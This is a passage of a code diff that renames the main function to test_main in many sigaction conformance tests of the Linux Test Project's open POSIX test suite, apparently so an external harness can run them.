+++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-25.c @@ -57,7 +57,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-26.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-26.c index 44b80c80..1fcfd3e7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-26.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-26.c @@ -57,7 +57,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-3.c index e52fde8f..e773a4f6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-3.c @@ -57,7 +57,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-4.c index f0cb4d84..b4a6887a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-4.c @@ -57,7 +57,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-5.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-5.c index 42e6f57c..16dae1ef 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-5.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-5.c @@ -57,7 +57,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-6.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-6.c index b971cddf..4497d44c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-6.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-6.c @@ -57,7 +57,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-7.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-7.c index fa76618d..500363ef 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-7.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-7.c @@ -57,7 +57,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-8.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-8.c index bd73963d..09322a42 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-8.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-8.c @@ -57,7 +57,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-9.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-9.c index b34fcafd..1e723777 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-9.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/25-9.c @@ -57,7 +57,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) inside_handler--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-1.c index 5a3f7a92..ba29e1c2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-1.c @@ -54,7 +54,7 @@ static void handler_2() called--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-10.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-10.c index 23f8462c..08f2082a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-10.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-10.c @@ -54,7 +54,7 @@ static void handler_2() called--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-11.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-11.c index f532620f..d0db1989 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-11.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-11.c @@ -54,7 +54,7 @@ static void handler_2() called--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-12.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-12.c index 84650882..87ba7559 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-12.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-12.c @@ -54,7 +54,7 @@ static void handler_2() called--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-13.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-13.c index 9c0d0a8f..d7447688 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-13.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-13.c @@ -54,7 +54,7 @@ static void handler_2() called--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-14.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-14.c index fc7480b3..940ed7d4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-14.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-14.c @@ -54,7 +54,7 @@ static void handler_2() called--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-15.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-15.c index 33b20e20..1471fe62 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-15.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-15.c @@ -54,7 +54,7 @@ static void handler_2() called--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-16.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-16.c index 2cdbfedc..dd732373 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-16.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-16.c @@ -54,7 +54,7 @@ static void handler_2() called--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-17.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-17.c index 0c495827..8f0aa6fa 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-17.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-17.c @@ -54,7 +54,7 @@ static void handler_2() called--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-18.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-18.c index b88365b4..2117e2f9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-18.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-18.c @@ -54,7 +54,7 @@ static void handler_2() called--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-19.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-19.c index 887a2edb..c86308e2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-19.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-19.c @@ -54,7 +54,7 @@ static void handler_2() called--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-2.c index 475c323f..e1071ee7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-2.c @@ -54,7 +54,7 @@ static void handler_2() called--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-20.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-20.c index 2f00f4a6..af1acd11 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-20.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-20.c @@ -54,7 +54,7 @@ static void handler_2() called--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-21.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-21.c index 70e1c5c2..2a1dbbb2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-21.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-21.c @@ -54,7 +54,7 @@ static void handler_2() called--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-22.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-22.c index 1a01f1fd..2461d5fa 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-22.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-22.c @@ -54,7 +54,7 @@ static void handler_2() called--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-23.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-23.c index 3d76edb1..84cde6f2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-23.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-23.c @@ -54,7 +54,7 @@ static void handler_2() called--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-24.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-24.c index 8e358510..6d4e160c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-24.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-24.c @@ -54,7 +54,7 @@ static void handler_2() called--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-25.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-25.c index 25f72c68..0f5d94ce 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-25.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-25.c @@ -54,7 +54,7 @@ static void handler_2() called--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-26.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-26.c index 44f42a07..7f9c5cab 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-26.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-26.c @@ -54,7 +54,7 @@ static void handler_2() called--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-3.c index aad71c1b..88fbc2bb 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-3.c @@ -54,7 +54,7 @@ static void handler_2() called--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-4.c index 3389fa96..e6975940 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-4.c @@ -54,7 +54,7 @@ static void handler_2() called--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-5.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-5.c index 945dabfb..15565a09 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-5.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-5.c @@ -54,7 +54,7 @@ static void handler_2() called--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-6.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-6.c index 39d6b61a..f92ba532 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-6.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-6.c @@ -54,7 +54,7 @@ static void handler_2() called--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-7.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-7.c index 5065e8c4..8672b590 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-7.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-7.c @@ -54,7 +54,7 @@ static void handler_2() called--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-8.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-8.c index 1b7b409b..9b3c2287 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-8.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-8.c @@ -54,7 +54,7 @@ static void handler_2() called--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-9.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-9.c index bfb76d78..2f66a585 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-9.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-9.c @@ -54,7 +54,7 @@ static void handler_2() called--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/29-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/29-1.c index 5069efc5..c67d3aa9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/29-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/29-1.c @@ -103,7 +103,7 @@ static void handler(int sig PTS_ATTRIBUTE_UNUSED, siginfo_t *info, } /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-1.c index 2d88215f..e3c24450 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-1.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-10.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-10.c index 8c586a48..602b5fcb 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-10.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-10.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-11.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-11.c index 462808f8..c4ed39ee 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-11.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-11.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-12.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-12.c index c6cdd2b2..776ec387 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-12.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-12.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-13.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-13.c index 8a9cbe56..178c4ecb 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-13.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-13.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-14.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-14.c index ed4432f7..829420c4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-14.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-14.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-15.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-15.c index 43d36595..fd5c87a9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-15.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-15.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-16.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-16.c index 9df83511..35647398 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-16.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-16.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-17.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-17.c index e18f03db..ba09070f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-17.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-17.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-18.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-18.c index f59dd716..2472cba2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-18.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-18.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-19.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-19.c index f59dd716..2472cba2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-19.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-19.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-2.c index f59dd716..2472cba2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-2.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-20.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-20.c index dd3932bb..ba956b74 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-20.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-20.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-21.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-21.c index 94058921..be600c4f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-21.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-21.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-22.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-22.c index f25f9cb6..09c43697 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-22.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-22.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; struct sigaction oact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-23.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-23.c index 8928ad1c..f1b3f113 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-23.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/3-23.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) handler_called = 1; } -int main(void) 